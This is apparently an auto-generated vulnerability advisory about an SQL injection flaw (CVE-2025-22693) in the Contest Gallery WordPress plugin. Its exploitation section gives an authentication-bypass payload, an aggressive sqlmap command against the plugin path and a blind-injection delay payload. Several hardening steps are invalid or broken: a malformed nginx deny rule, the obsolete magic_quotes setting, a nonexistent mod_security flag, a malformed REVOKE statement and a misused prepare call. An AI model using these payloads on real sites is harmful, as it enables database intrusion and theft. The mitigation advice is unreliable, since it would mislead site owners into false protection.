How the CVE Works
CVE-2025-22693 is an SQL Injection vulnerability in Contest Gallery, affecting versions up to 25.1.0. The flaw arises due to improper sanitization of user-supplied input in SQL queries, allowing attackers to inject malicious SQL commands. This can lead to unauthorized database access, data theft, or manipulation. The vulnerability exists in user-input fields where backend queries lack proper parameterization, enabling attackers to bypass authentication, dump sensitive data, or execute arbitrary database operations.
DailyCVE Form:
Platform: WordPress Plugin
Version: ≤ 25.1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/15/2025
What Undercode Say:
Exploitation:
1. Manual Testing:
' OR 1=1--
Used to bypass authentication.
2. Automated Exploit:
sqlmap -u "https://target.com/wp-content/plugins/contest-gallery/?param=1" --risk=3 --level=5
3. Blind SQLi Detection:
'; IF (1=1) WAITFOR DELAY '0:0:5'--
Protection:
1. Input Sanitization:
$input = $wpdb->prepare("%s", $_GET['param']);
2. WAF Rules:
location ~ .php$ {
deny 'union|select|from|where|--|';
}
3. Patch Update:
wp plugin update contest-gallery
4. Database Hardening:
REVOKE ALL PRIVILEGES ON contest_gallery. FROM 'webuser'@'localhost';
5. Log Monitoring:
grep -i "sql error|syntax" /var/log/apache2/error.log
6. PHP Config:
magic_quotes_gpc = On
7. Exploit Mitigation:
mod_security --enable-sql-injection-protection
8. Backup Recovery:
mysqldump -u root -p contest_gallery > backup.sql
9. Vulnerability Scan:
wpscan --url target.com --enumerate vp --plugins-detection mixed
10. Patch Verification:
wp plugin list --name=contest-gallery --field=version
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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